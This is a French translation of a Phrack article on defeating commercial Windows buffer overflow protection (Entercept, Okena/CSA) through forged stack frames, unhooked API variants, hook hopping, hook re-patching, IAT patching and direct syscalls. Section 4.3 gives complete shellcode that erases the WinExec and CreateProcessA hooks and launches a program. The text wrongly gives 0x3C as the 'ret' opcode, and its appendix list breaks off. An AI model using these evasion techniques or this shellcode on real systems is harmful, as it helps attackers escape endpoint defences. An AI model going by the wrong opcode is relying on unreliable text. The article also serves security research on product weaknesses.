Bypassing 3rd Party Windows Buffer Overflow Protection

                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10


|=-----------------------------------------------------------------------=|
|=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <p62_wbo_a@author.phrack.org ]=-------------=|
|=--------------=[ Jamie Butler <james.butler@hbgary.com> ]=-------------=|
|=--------------=[ anonymous <p62_wbo_b@author.phrack.org ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|



--[ Sommaire


     1 - Introduction

     2 - Retour sur trace dans la pile

     3 - S'évader des détournements noyaux

       3.1 - Retour sur trace dans la pile noyau

       3.2 - Falsifier un cadre de pile

     4 - S'évader des détournement en mode utilisateur

       4.1 - Problème d'implémentation - Détournement de l'API incomplete

           4.1.2 - Ne pas détourner assez profondément

           4.1.3 - Ne pas détourner assez complètement

         4.2.1 - Saut vers la table de Patch

         4.2.2 - Hook Hopping

       4.3 - Repatching de l'API Win32

       4.4 - Attaquer les composants du mode utilisateur

         4.4.1 - Patching de l'IAT

         4.4.2 - Patching de la section de données

       4.5 - Appeller les syscalls directement

       4.6 - Falsifier les cadres de pile

     5 - Conclusions



--[ 1 - Introduction

Récement, de nombreux systèmes de sécurités commercieux ont commencé à
offrir des protections contre les buffer overflow [NDT : débordement de
tampons]. Ce papier analyse les prétentions de ces protections et décrit
quelques techniques pour les contourner.

Les systèmes commerciaux existants implémente de nombreuses techniques
pour se protéger des buffer overflows. Actuellement, le retour sur trace
dans la pile [NDT : stack backtracking] est la plus populaire. Elle est
aussi la plus facile à implémenter et la plus facile à contourner.

Quelques produits commerciaux comme Entercept (maintenant NAI Entercept)
et Okena (maintenant Cisco Security Agent) implémentent cette technique.

--[ 2 - Retour sur trace dans la pile

La pluspart des systèmes de sécurité commerciaux existants ne protègent en
fait pas contre les buffer overflow mais essaye plutôt de détecter
l'exécution de shellcode.

La technologie la plus commune pour détecter les shellcode est la
vérification de la permission de la page du code qui implique de vérifier
si le code s'exécute sur une page inscriptible de la mémoire. C'est
nécessaire puisque des architectures comme x86 ne supportent pas de bits
de mémoire non-exécutable.

Certains systèmes effectuent des vérifications additionnelles pour savoir
si la page du code en mémoire appartient à une page correspondante à une
section de fichier et pas à une section de mémoire anonyme.

        [-----------------------------------------------------------]

                page = get_page_from_addr( code_addr );
                if (page->permissions & WRITABLE)
                        return BUFFER_OVERFLOW;

                ret = page_originates_from_file( page );
                if (ret != TRUE)
                        return BUFFER_OVERFLOW;

        [-----------------------------------------------------------]
          Pseudo code pour la vérification de permission de la page

Les technologies de protection anti buffer overflow (BOPT - Buffer
Overflow Protection Technology) qui se basent sur le retour sur trace dans
la pile ne créent en fait pas de segments de pile ni de tas
non-exécutables. À la place, ils détournent l'OS et cherchent après
l'exécution de shellcode pendant les appels de ces API détournées.

La plupart des systèmes d'exploitations peuvent être détournés en mode
utilisateur ou noyau.

La prochaine section traite de l'évasion des détournements noyaux, tandis
que la section 4 traite de l'évitement des détournements en mode
utilisateur.


--[ 3 - S'évader des détournements noyaux

Quand il détourne le noyau, un système de prévention d'intrusion de l'hote
(HIPS - Host Intrusion Prevention System) doit pouvoir détecter d'où un
appel de l'API en mode utilisateur est originaire. À cause de
l'utilisation en masse des librairies kernel32.dll et ntdll.dll, un appel
de l'API est souvant plusieurs cadres plus bas dans la pile par rapport à
l'appel courant. Pour cette raison, certains systèmes de prévention
d'intrusion se basent sur le retour sur trace dans la pile pour localiser
l'origine de l'appel système.


----[ 3.1 - Retour sur trace dans la pile noyau

Bien que le retour sur trace dans la pile puisse avoir lieu en mode
utilisateur et noyau, il est bien plus important pour les élément noyau
d'une BOPT que pour ses composants du mode utilisateur. Les composants
noyaux des BOPT commerciales existantes se basent entièrement sur le
retour sur trace pour détecter l'exécution de shellcode. Donc, s'évader
d'un détournement noyau est simplement une histoire de battre les
méchanismes de retour sur trace dans la pile.

Ce retour sur trace implique de traverser des cadres de la pile et de
vérifier que l'adresse de retour passe les tests de détection de buffer
overflow décrit plus haut. Il y a aussi fréquement des vérifications de
"retour dans la libc" additionnelles, qui impliquent de vérifier que
l'adresse de retour pointe sur une instruction immédiatement précédée d'un
call ou d'un jmp. L'opération de base du code de retour sur trace dans la
pile, comme utilisé par une BOPT, est présenté ici :

        [-----------------------------------------------------------]

                while (is_valid_frame_pointer( ebp )) {
                        ret_addr = get_ret_addr( ebp );

                        if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
                                return BUFFER_OVERFLOW;

                        if (does_not_follow_call_or_jmp_opcode(ret_addr))
                                return BUFFER_OVERFLOW;

                        ebp = get_next_frame( ebp );
                }

        [-----------------------------------------------------------]
            Pseudo code du retour sur trace dans la pile des BOPT

Quand on discutte de s'évacer de ce retour sur trace, il est important  de
comprendre comment le retour sur trace fonctionne sous architecture x86.
Un cadre de pile typique ressemble à ce qui suit pendant un appel de
fonction :

        :                               :
        |-------------------------------|
        | paramètre #1 de la fonction A |
        |-------------------------------|
        | paramètre #2 de la fonction A |
        |-------------------------------|
        |       Adresse de retour       |
        |-------------------------------|
        |        Sauvegarde d'EBP       |
        |===============================|
        | paramètre #1 de la fonction B |
        |-------------------------------|
        | paramètre #2 de la fonction B |
        |-------------------------------|
        |       Adresse de retour       |
        |-------------------------------|
        |        Sauvegarde d'EBP       |
        |-------------------------------|
        :                               :

Le registre EBP pointe vers le cadre de pile suivant. Sans le registre
EBP, il est très difficile, sinon impossible, d'identifier correctement et
de tracer à travers tous les cadres de la pile.

Les compilateurs modernes ommettent souvent l'utilisation d'EBP comme
pointeur de cadre et l'utilise comme un registre d'ordre général à la
placE. Avec une optimisation d'EBP, un cadre de pile ressemble à ceci
pendant l'exécution d'un appel de fonction :

        |-------------------------------|
        | paramètre #1 de la fonction A |
        |-------------------------------|
        | paramètre #2 de la fonction A |
        |-------------------------------|
        |       Adresse de retour       |
        |-------------------------------|

Notez que le registre EBP n'est plus présent dans la pile. Sans un
registre EBP, il n'est pas possible aux technologies de détections de
buffer overflow d'effectuer un retour sur trace dans la pile précis. Ceci
rend leur tâche incroyablement plus difficile car une attaque simple du
style retour en libc va contourner cette protection. En faisant arriver un
appel d'API un niveau plus haut que les détournement de la BOPT défait la
technique de protection.

----[ 3.2 - Falsifier un cadre de pile

Puisque la pile est sous le contrôle total du shellcode, il est possible
d'altérer complètement son contenu avant un appel à l'API. Des cadres de
piles spécialement construits peuvent être utilisés pour éviter les
détecteurs de buffer overflow.

Comme il a déjà été expliqué, le détecteur de buffer overflow cherche
trois clefs indicatrices d'un code légitime : la permission de lecture
seule sur la page, que la mémoire corresponde à une section d'un fichier
et une adresse de retour pointant vers une instruction précédée d'un call
ou d'un jmp. Puisque les pointeurs de fonctions changent la sémantique des
appels, les BOPT ne vérifient pas (et ne peuvent pas le faire) qu'un call
ou un jmp pointe vraiment à l'API qui est appellée. Plus important, la
BOPT ne peut pas vérifier que l'adresse de retour ne dessous du dernier
pointeurs de cadre EBP valide (il ne peut pas faire de retour sur trace
plus loin).

S'évader d'une BOPT est donc simplement une affaire de créer un cadre de
pile "final" qui a une adresse de retour valide. Cette adresse de retour
valide doit pointer vers une instruction qui se trouve dans une page en
lecture seule correspondante à une section de fichier et être précédée
immédiatement d'un call ou jmp. En admettant que la fausse adresse de
retour soit raisonablement proche d'une autre adresse de retour, le
shellcode peut très facilement retrouver le contrôle.

La séquence d'instructions idéale où devrait pointer la fausse adresse de
retour est la suivante :

      [---------------------------------------------------------------]

                        jmp    [eax] ; ou call [eax] ou autre registre
        dummy_return:   ...          ; un certain nombre de nop ou
                                     ; d'instructions facilement
                                     ; inversible (p.e. inc eax)
                        ret          ; n'importe quel retour est bon

      [---------------------------------------------------------------]

Contourner les composants noyau de BOTP est facile parce qu'ils doivent se
baser sur des données contrôlées par l'utilisateur (la pile) pour
déterminer la validité d'un appel d'API. En manipulant correctement la
pile, il est possible de terminer prématurément l'analyse des adresses de
retour dans la pile.

Cette technique d'évasion de retour sur trace dans la pile est aussi
efficace contre les détournement en mode utilisateur (voir section 4.6).


--[ 4 - S'évader des détournement en mode utilisateur

Étant donné la présence d'une séquence d'instruction correcte dans une
région valide de la mémoire, il est possible de contourner triviallement
les techniques de protections anti buffer overflow. Des techniques
similaires peuvent être utilisées pour contourner les composants
utilisateurs des BOPT. En plus, puisque le shellcode s'exécute avec les
mêmes permissions que les détournements utilisateurs, un certain nombre
d'autres techniques peuvent être utilisées pour s'évader de ces
protections.


----[ 4.1 - Problème d'implémentation - Détournement de l'API incomplete

Il y a beaucoup de problèmes avec les technologies de protection anti
buffer overflow basées utilisateur. Par exemple, elles requierent que le
code de la protection anti buffer overflow soit sur le chemin d'exécution
des appels de l'attaquant sinon, l'exécution du shellcode restera
invisible.

Tenter de déterminer ce qu'un attaquant va faire avec son shellcode à
priori est un problème extrêmement difficile, sinon impossible. Être sur
le bon chemin n'est pas facile. Les divers obstacles incluent les
suivants :

     a. Ne pas prendre en compte les version UNICODE et ANSI des appels à
        l'API Win32

     b. Ne pas suivre la nature chainée des appels de l'API. Par exemple,
        beaucoup de fonction dans kernel32.dll ne sont rien de plus que
        des adaptateurs pour d'autres fonctions dans kernel32.dll ou
        ntdll.dll.

     c. La nature constement changeante de l'API de Microsoft Windows.


--------[ 4.1.1 - Ne pas détourner toutes les version d'API

Une erreur communément rencontrée avec les implémentations de détournement
utilisateur d'API est une couverture du chemin d'exécution incomplète.
Pour qu'un produit basé sur l'interception soit efficace, toutes les API
utilisées par l'attaquant doivent être détournées. Ceci requiert que la
technologie de protection anti buffer overflow de détourner quelque part
le lond du chemin d'appel qu'un attaquant _doive_ utiliser. Cependant,
comme il sera montré, une fois qu'un attaquant a commencé d'exécuter son
code, il devient très difficile pour un système tierce partie de couvrir
tous les chemins. En fait, aucun détecteur de buffer overflow commercial
testé ne fournis de couverture de chemin d'exécution efficace.

Beaucoup de fonction de l'API windows on deux versions : ANSI et UNICODE.
Les noms des fonctions ANSI finissent habituellement par un A, et les
fonctions UNICODE finissent par un W à cause de leur nature de grand
caractères [NDT : grand en anglais : Wide, d'où le W]. Les fonctions ANSI
ne sont souvent pas plus que des adaptateurs qui appellent la version
UNICODE de l'API. Par exemple, CreateFileA prend le nom de fichier ANSI
passé en paramètre et le transforme en chaine UNICODE. Elle appelle alors
CreateFileW. À moins qu'un vendeur ne détourne à la fois la version ANSI
et UNICODE, un attaquant peut contourner les méchanismes de protections
simplement en appellant l'autre version que la fonction détournée.

Par exemple, Entercept 4.1 détourne LoadLibraryA, mais il ne fait aucune
tentative d'interceter LoadLibraryW. Si un méchanisme de protection ne
tente de détourner qu'une version d'une fonction, il serait plus judicieux
de choisir la version UNICODE. Pour cette fonction particulière, Okena/CSA
fait un meilleur choix en détournant LoadLibraryA, LoadLibraryW,
LoadLibraryExA, et LoadLibraryExW. Malheureusement pour les détecteurs de
buffer overflow tierce partie, détourner simplement plus de fonctions dans
kernel32.dd n'est pas suffisent.


--------[ 4.1.2 - Ne pas détourner assez profondément

Dans windows NT, kernel32.dll joue le rôle d'un adaptateur pour ntdll.dll
et pour l'instant, beaucoup de produit de détection de buffer overflow ne
détournent aucune fonction dans ntdll.dll. Cette erreur simple est
similaire à celle de ne pas détourner les version UNICODE ET ANSI d'une
fonction. Un attaquant peut appeller simplement ntdll.dll directement et
contourner completement tous les "checkpoints" de ekrnel32.dll établis par
un détecteur de buffer overflow.

Par exemple, NAI Intercept essaye de détecter les shellcodes qui appellent
GetProcAddress() dans kernel32.dll. Cependant, le shellcode peut être
réécrit pour appeller LdrGetProcedureAddress() dans ntdll.dll, qui
accomplis le même but, et dans le même temps ne passe jamais par les
détournements de NAI Intercept.

Les shellcodes peuvent de la même manière complètement contourner les
détournements utilisateurs et faire les appels systèmes directement (voir
section 4.5).


--------[ 4.1.3 - Ne pas détourner assez complètement

Les interractions entre les différentes fonctions de l'API Win32 sont
byzantines, complexes et difficiles à comprendre. Un vendeur doit faire
une seule erreur pour créer une fenêtre d'oportunité pour un attaquant.

Par exemle, Okena/CSA et NAI Entercept détournent toutes deux WinExec pour
éviter que le shellcode de l'attaquant ne crée des processus.

Le chemin d'appel pour WinExec est de ce genre :

       WinExec() --> CreateProcessA() --> CreateProcessInternalA() 

Okena/CSA et NAI Entercept détournent toutes deux WinExec() et
CreateProcessA() (voir Annexes A et B). Cependant, aucun de ces produits
ne détourne CreateProcessInternalA() (exportée par kernel32.dll). Quand il
écrit un shellcode, l'attaquant pourrait trouver l'export pour
CreateProcessInternalA() et l'utiliser au lieu d'appeller WinExec().

CreateProcessA() met deux NULL sur la pile avant d'appeller
CreateProcessInternalA(). Donc, un shellcode a seulement besoin d'empiler
deux NULL et ensuite d'appeller CreateProcessInternalA() directement pour
éviter les détournements utilisateurs d'API de ces deux produits.

Avec les publications de nouvelles DLL et API, la complexité des
interractions internes de l'API Win32 augmente, rendant le problème encore
pire. Les vendeurs de produits tierces parties ont un désavantage sévère
quand ils implémentent leurs technologies de détections de buffer overflow
et font très facilement des erreur qui peuvent être exploitées par les
attaquants.


----[ 4.2 - S'amuser avec les trampolines

La plupart des fonctions de l'API Win32 commencent avec un préambule de
cinq octets. D'abors, EBP est empilé, ensuite, ESP est mis dans EBP.

        [-----------------------------------------------------------]

                  Code           Assembleur
                  55             push ebp
                  8bec           mov ebp, esp

        [-----------------------------------------------------------]

À la fois Okena/CSA et Entercept utilisent des détournement par fonction
en dur. Elles écrasent les 5 premiers octets d'une fonction avec un saut
inconditionnel ou un call immédiats. Par example, voici à quoi ressemblent
les quelques premiers octets de WinExec() après que le détournement de NAI
Entercept soit placé :

        [-----------------------------------------------------------]

                  Code           Assembleur
                     e8 xx xx xx xx       call xxxxxxxx
                     54                   push esp
                     53                   push ebx
                     56                   push esi
                     57                   push edi

        [-----------------------------------------------------------]

Alternativement, ces premiers quelques octets pourraient être remplacés
avec un jmp :

        [-----------------------------------------------------------]

                  Code           Assembleur
                       e9 xx xx xx xx     jmp xxxxxxxx
                       ...

        [-----------------------------------------------------------]

Évidement, il est facile pour un shellcode de testé ces signatures et
d'autres avant d'appeller une fonction. Si un méchanisme d'hijacking est
détecté, le shellcode peut utiliser quelques autres techniques différentes
pour contourner le détournement.


------[ 4.2.1 - Saut vers la table de Patch

Quand une API est détournée, le préambule original est sauvegardé dans une
table pour que le détecteur de buffer overflow puisse recréer l'API
originale après avoir effectué ses tests de validité. Le préambule est
stocké dans une table de patch, qui se trouve quelques par dans l'espace
d'adressage de l'application. Quand le shellcode détecte la présence d'un
détournement d'API, il peut simplement chercher après cette table et faire
ses appels vers les entrées de la table. Ceci élimine complètement les
détournement, évitant que les composants du détecteur de buffer overflow
ne soit sur le chemin d'exécution de l'attaquant.


------[ 4.2.2 - Hook Hopping

Alternativement, au lieu de localiser la table de patch, le shellcode peut
inclure sa propre copie du préambule pre-détourné. Après avoir exécuté son
propre préambule de l'API, le shellcode peut transférer l'exécution vers
l'instructions suivant le détournement (l'adresse de la fonction plus cinq
octets).

Puisque le x86 d'Intel a des instructions de tailles fariables, on doit
faire attention à ça pour tomber sur le début d'une instruction :

        [-----------------------------------------------------------]

                Shellcode:
                        call WinExecPreamble
 
                WinExecPreamble:
                        push ebp
                        mov ebp, esp
                        sub esp, 54
                        jmp WinExec+6

        [-----------------------------------------------------------]

Cette techniques ne fonctionnera pas si une autre fonction sur le chemin
d'appels est aussi détournée. Dans notre cas, Entercept détourne aussi
CreateProcessA(), qui est appellée par WinExec(). Donc, pour éviter la
détection, le shellcode doit appeller CreateProcessA() en utilisant une
copie du préambule de CreateProcessA().


----[ 4.3 - Repatching de l'API Win32

Détourner complètement l'API Win32 n'est pas efficace quand certaines
erreurs fondamenales sont faites dans l'implémentations d'un composant de
détection de buffer overflow en utilisateur.

Certaines implémentations (NAI Entercept) ont un problème sérieux avec
leur manière d'effectuer les détournements d'API. Pour pouvoir écraser les
préambules des fonctions détournées, la section de code pour la DLL doit
être rendue inscriptible. Entercept marque la section de code de
kernel32.dll et ntdll.dll comme inscriptible pour pouvoir modifier son
contenu. Cependant, Entercept ne remet jamais à zéro le bit d'écriture !

Du à ce trou de sécurité sérieux, il est possible pour un attaquant
d'écraser les détournements de l'API en ré-injectant les préambules
originaux du code. Pour les examples de WinExec() et CreateProcessA(),
ceci nécessiterait d'écraser les 6 octets (juste pour être aligné sur les
instruction) de WinExec() et CreateProcessA() avec les préambules
originaux.

        [-----------------------------------------------------------]
                WinExecOverWrite:
                      Code           Assembleur
                       55                push ebp
                       8bec              mov ebp, esp
                       83ec54            sub esp, 54

                CreateProcessAOverWrite:
                      Code           Assembleur
                       55                push ebp
                       8bec              mov ebp, esp
                       ff752c            push DWORD PTR [ebp+2c]
        [-----------------------------------------------------------]

Cette techniques ne fonctionnera pas contre des détecteurs de buffer
overflow correctement implémentés, cependant, elle est très efficace
contre NAI Entercept. Un example complet de shellcode qui écrase les
détournement placés par NAI Entercept est présenté ci-après :

        [-----------------------------------------------------------]

              // Cet exemple de code écrase les préambules de WinExec et
              // CreateProcessA pour éviter d'être détecté. Le code
              // appelle ensuite WinExec avec le paramètre calc.exe".
              // Ce code démontre qu'en écrasant les préambules des
              // fonctions, il est capable d'éviter les protections
              // anti bufferoverflow Entercept et Okena/CSA

                _asm {
                       pusha

                       jmp JUMPSTART
        START:
                       pop ebp
                       xor eax, eax
                       mov al, 0x30
                       mov eax, fs:[eax];
                       mov eax, [eax+0xc];

                       // Nous avons alors le module_item pour ntdll.dll
                       mov eax, [eax+0x1c]

                       // Nous avons alors le module_item pour kernel32.dll
                       mov eax, [eax]

                       // base de l'image de kernel32.dll
                       mov eax, [eax+0x8]

                       movzx ebx, word ptr [eax+3ch]

                       // pe.oheader.directorydata[EXPORT=0]
                       mov esi, [eax+ebx+78h]
                       lea esi, [eax+esi+18h]

                       // EBX contient l'adresse de base du module
                       mov ebx, eax
                       lodsd

                       // ECX contient le nombre de noms de fonctions
                       mov ecx, eax
                       lodsd                        
                       add eax,ebx

                       // EDX contient l'adresse des fonctions
                       mov edx,eax

                       lodsd

                       // EAX a l'adresse des noms
                       add   eax,ebx

                       // sauvegarde du nombre de noms de fonctions pour
                       // plus tard
                       push ecx

                       // Suvegarde de l'adresse des fonctions
                       push edx

        RESETEXPORTNAMETABLE:
                        xor edx, edx

        INITSTRINGTABLE:
                        mov esi, ebp // Début de la table des chaines
                        inc esi

        MOVETHROUGHTABLE:
                        mov edi, [eax+edx*4]
                        add edi, ebx // EBX a l'adresse de base du process

                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        test cl, cl
                        jz DONESTRINGSEARCH
		

        STRINGSEARCH:   // ESI point vers la table des chaines
                        repe cmpsb
                        je Found

                        // le nombe de noms de fonctions est sur la pile
                        cmp [esp+4], edx
                        je NOTFOUND
                        inc edx
                        jmp INITSTRINGTABLE
        Found:
                        pop ecx
                        shl edx, 2
                        add edx, ecx
                        mov edi, [edx]
                        add edi, ebx
                        push edi
                        push ecx
                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        inc ecx
                        add ebp, ecx
                        jmp RESETEXPORTNAMETABLE

        DONESTRINGSEARCH:
        OverWriteCreateProcessA:
                        pop edi
                        pop edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

        OverWriteWinExec:
                        pop edi
                        push edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

        CallWinExec:
                        push 0x03
                        push esi
                        call [esp+8]

        NOTFOUND:
                        pop edx
        STRINGEXIT:
                        pop ecx
                        popa;
                        jmp EXIT

        JUMPSTART:
                        add esp, 0x1000
                        call START
        WINEXEC:
                        _emit 0x07
                        _emit 'W'
                        _emit 'i'
                        _emit 'n'
                        _emit 'E'
                        _emit 'x'
                        _emit 'e'
                        _emit 'c'
        CREATEPROCESSA:
                        _emit 0x0e
                        _emit 'C'
                        _emit 'r'
                        _emit 'e'
                        _emit 'a'
                        _emit 't'
                        _emit 'e'
                        _emit 'P'
                        _emit 'r'
                        _emit 'o'
                        _emit 'c'
                        _emit 'e'
                        _emit 's'
                        _emit 's'
                        _emit 'A'
        ENDOFTABLE:
                        _emit 0x00

        WinExecOverWrite:
                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0x83
                        _emit 0xec
                        _emit 0x54
        CreateProcessAOverWrite:
                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0xff
                        _emit 0x75
                        _emit 0x2c
        COMMAND:
                        _emit 'c'
                        _emit 'a'
                        _emit 'l'
                        _emit 'c'
                        _emit '.'
                        _emit 'e'
                        _emit 'x'
                        _emit 'e'
                        _emit 0x00

        EXIT:
                        _emit 0x90

                        // Normalement appeller ExitThread
                        // ou quelque chose du genre ici
                        _emit 0x90
                }

        [-----------------------------------------------------------]


----[ 4.4 - Attaquer les composants du mode utilisateur

Bien que s'évader des déviations et des techniques utilisées par les
composants des détecteurs de buffer overflow soit efficace, il existe
d'autres méchanismes pour contourner la détection. Parce qu'à la fois le
shellcode et le détecteur de buffer overflow s'exécutent avec les mêmes
privilèges et dans le même espace d'adressage, il est possible pour un
shellcode d'attaquer directement le composant utilisateur du détecteur de
buffer overflow.

Essentiellement, quand il attaque le composant utilisateur du détecteur de
buffer overflow, l'attaquant tente de corrompre les méchanismes utilisés
pour effectué les vérifications de détection de shellcode. Il n'y a que
deux techniques pour la vérifications de validition de shellcode. Soit les
données utilisées pour la vérification sont déterminées dynamiquement
pendant chaque appel d'API détournée, ou les données sont récoltées au
lancement du processus et ensuite vérifiées lors de chaque appel. Dans les
deux cas, il est possible à l'attaquant de corrompre le processus.


------[ 4.4.1 - Patching de l'IAT

Plutôt que d'implémenter leur propre version de fonctions d'information de
pages mémoires, les produits de protection anti buffer overflow utilisent
simplement l'API du système d'exploitation. Dans Windows NT, elles sont
implémentées dans ntdll.dll. Cette API va être importée dans le composant
utilisateur (un DLL lui aussi) via sa table d'import PE. Un attaquant peut
patcher des vecteurs dans cette table d'import pour altérer l'adresse
d'une API vers des fonctions fournies par le shellcode. En fournissant les
fonctions utilisées pour fair les tests de validation du détecteur de
buffer overflow, il est trivial pour un attaquant d'éviter les détecteurs.


------[ 4.4.2 - Patching de la section de données

Pour diverses raisons, un détecteur de buffer overflow pourrait utiliser
une liste de permissions de pages pré-construites dans l'espace
d'adressage. Quand c'est le cas, altérer l'adresse de l'API VirtualQuery()
n'est pas efficace. Pour corrompre le détecteur de buffer overflow, le
shellcode doit localiser et modifier la table de données utiliser pour les
procédures de validations d'adresses de retour. C'est une technique assez
franche, bien que spécifique de l'application, pour corrompre les
technologies de prévention de buffer overflow.


----[ 4.5 - Appeller les syscalls directement

Comme mentionné plus haut, plutôt que d'utilier l'API ntdll pour faire des
appels systèmes, il est possible pour un attaquant de créer un shellcode
qui fait des appels systèmes directement. Bien que cette technique soit
très efficace contre les composants utilisateurs, elle ne l'est évidement
plus pour éviter les détecteurs basé dans le noyau.

Pour prendre avantage de cette techniques, vous devez comprendre quels
paramètres les fonctions noyaux utilisent. Ils ne seront pas toujours les
mêmes que ceux requis par les version d'API kernel32 et ntdll.

Vous devez aussi connaître le numéros de l'appel système de la fonction en
question. Vous pouvez le trouver dynamiquement en utilisant une technique
similaire à celle pour trouver l'adresse d'une fonction. Une fois que vous
avez l'adresse de la fonction de la version ntdll.dll que vous voulez
appeller, indexez un octet dans la fonctino et lisez l DWORD suivant.
C'est le numéro de l'appel système dans la table des appels système pour
cette fonction. C'est un truc habituel utilisé par les développeur de
rootkits.

Voici le pseudo code pour appeller l'appel système NtReadFile directement :
	
	...
	xor eax, eax
	
	// clef optionnelle
	push eax        
	// pointeur optionnel vers un entier long avec l'offet du fichier
	push eax	    	

	push Length_of_Buffer
	push Address_of_Buffer

	// avant l'appel, faire de la place pour
        // deux DWORDs apellés IoStatusBlock
	push Address_of_IoStatusBlock 

	// ApcContext optionnel
	push eax
	// ApcRoutine optionnel
	push eax
	// Event optionnel
	push eax

	// descripteur de ficheir requis
	push hFile

	// EAX doit contenir le numéro d'appel système
	mov eax, Found_Sys_Call_Num

	// EDX a besoin de l'adresse de la pile utilisateur
	lea edx, [esp]

	// [Trap] dans le noyau
	// (des versions récentes de windows NT utilisent
        // "sysenter" à la place)
	int 2e


----[ 4.6 - Falsifier les cadres de pile

Comme décrit dans la section 3.2, le retour sur trace dans la pile à
partir du noyau peut être contourné en utilisant des faux cadres. La même
technique fonctionne contre les détecteurs utilisateurs.

Pour contourner à la fois les retour sur trace noyau et utilisateur, le
shellcode doit créer un faux cadre de pile sans le registre ebp sur la
pile. Puisque le retour sur trace dans la pile se pase sur la présence du
registre ebp pour trouver le prochain cadre de pile, un faux cadre peut
stopper le retour sur trace.

Bien sûr, générer un faux cadre de pile ne fonctionnera pas si le registre
EIP pointe toujours sur le shellcode qui se trouve dans un segment de
mémoire inscriptible. Pour contourner le code de protection, le shellcode
doit utiliser une adresse qui se trouve dans un segment de mémoie
non-inscriptible. Ceci présente un problème puisque le shellcode a besoin
de retrouver après coup le contrôle de l'exécution.

Le truc pour récupérer le contrôle est de mandater le retour au shellcode
via une instruction "ret" qui se trouve dasn un segment non-inscriptible.
L'instruction "ret" peut être trouvée dynamiquement en cherchant dans des
zones mémoires après l'opcode 0x3C.

Voici une illustration d'un appell normal LoadLibrary("kernel32.dll") qui
vient d'un segment de mémoire inscriptible :

	push	kernel32_string
	call	LoadLibrary

	return_eip:


	.
	.
	.

	LoadLibrary:
              ; * voir plus loins pour une illustration de la pile

	.
	.
	.
	ret   ; retour vers le return_eip basé sur la pile



	|------------------------------|
	| address of "kernel32.dll" str|
	|------------------------------|
	| return address (return_eip)  |
	|------------------------------|


Comme expliqué plus haut, le code de protection anti buffer overflow
s'exécute avant que LoadLibrary ne s'exécute. Puisque l'adresse de retour
(return_eip) est dans un segment de mémoire inscriptible, le code de
protection log l'overflow et termine le processus.

L'exemple suivant illustre la technique du "mandat via une instruction
'ret'" :


	push	return_eip
	push	kernel32_string

	; faux appel "call LoadLibrary"
	push	address_of_ret_instruction
	jmp	LoadLibrary

	return_eip:


	.
	.
	.

	LoadLibrary:	
            ; * voir plus loins pour une illustration de la pile

	.
	.
	.
	ret		; retour non basé sur la pile
                        ; address_of_ret_instruction




	address_of_ret_instruction:

	.
	.
	.
	ret     ; retour vers le return_eip basé sur la pile


Une fois encore, le code de protection anti buffer overflow s'exécute
avant que LoadLibrary ne le fasse. Cette fois parcontre, la pile est
placée avec une adresse de retour qui pointe vers un segment de mémoire
non-inscriptible. En plus, le registre ebp n'est pas présent sur la pile
et le code de protection ne peut pas faire de retour sur trace et
déterminer si l'adresse de retour dans le cadre suivant pointe vers un
segment inscriptible. Ceci permet au shellcode d'appeller LoadLibrary qui
retourne sur l'instruction ret. À son tour, l'instruction "ret" dépile
l'adresse de retour suivante (return_eip) et lui rend le contrôle.


	|------------------------------|
	| return address (return_eip)  |
	|------------------------------|
	| address of "kernel32.dll" str|
	|------------------------------|
	| address of "ret" instruction |
	|------------------------------|


En plus, un nombre quelconque de faux cadres de piles aritrairement
complexes peuvent être installés pour désorienter un peu plus le code de
protection.

Voici un exemple d'un faux cadre qui utilise une instruction "ret 8"
plutôt qu'un simple "ret" :


	|--------------------------------|
	|          return address        |
	|--------------------------------|
	|  adresse de "ret"              |	<- faux cadre 2
	|--------------------------------|
	|  n'importe quelle valeur	 |
	|--------------------------------|
	| adresse de "kernel32.dll"      |
	|--------------------------------|
	| adresse de "ret 8"             |	<- faux cadre 1
	|--------------------------------|

Ceci implique l'extraction d'une valeur de 32 bits de la pile, compliquant
toute sorte d'analyse supplémentaire.


--[ 5 - Conclusions

La majorité des systèmes de sécurité commerciaux n'évitent en fait pas les
buffer overflow mais détectent plutôt l'exécution de shellcodes. La
technologie la plus commune utilisée pour détecter les shellcode est la
vérification des permissions des pages de codes qui se base sur le retour
sur trace dans la pile.

Le retour sur trace dans la pile implique de traverser les cadres de piles
et de vérifier que l'adresse de retour ne provient pas d'un segment de
mémoire inscriptible comme la pile ou le tas.

Ce papier a présenté un certain nombre de différentes façons de contourner
le retour sur trace dans la pile à la fois noyau et utilisateur. Ceci va
de la falsification avec les préambules de fonctions à la création de faux
cadres de piles.

En conclusion, la majorité des implémentations de protections anti buffer
overflow sont trouées, fournissant une fausse sensation de sécurité un une
très faible protection contre des attaquants déterminés.




Annexe A : Détournements de Entercept 4.1.

Entercept détourne un certain nombe de fonctions en mode utilisateur et
dans le noyau. Voici une liste des fonctions interceptées dans la
version 4.1

User Land
     msvcrt.dll
          _creat
          _read
          _write
          system
     kernel32.dll
          CreatePipe
          CreateProcessA
          GetProcAddress
          GetStartupInfoA
          LoadLibraryA
          PeekNamedPipe
          ReadFile
          VirtualProtect
          VirtualProtectEx
          WinExec
          WriteFile
     advapi32.dll
          RegOpenKeyA
     rpcrt4.dll
          NdrServerInitializeMarshall
     user32.dll
          ExitWindowsEx
     ws2_32.dll
          WPUCompleteOverlappedRequest
          WSAAddressToStringA
          WSACancelAsyncRequest
          WSACloseEvent
          WSAConnect
          WSACreateEvent
          WSADuplicateSocketA
          WSAEnumNetworkEvents
          WSAEventSelect
          WSAGetServiceClassInfoA
          WSCInstallNameSpace
     wininet.dll
          InternetSecurityProtocolToStringW
          InternetSetCookieA
          InternetSetOptionExA
     lsasrv.dll
          LsarLookupNames
          LsarLookupSids2
     msv1_0.dll
          Msv1_0ExportSubAuthenticationRoutine
          Msv1_0SubAuthenticationPresent

Kernel
     NtConnectPort
     NtCreateProcess
     NtCreateThread
     NtCreateToken
     NtCreateKey
     NtDeleteKey
     NtDeleteValueKey
     NtEnumerateKey
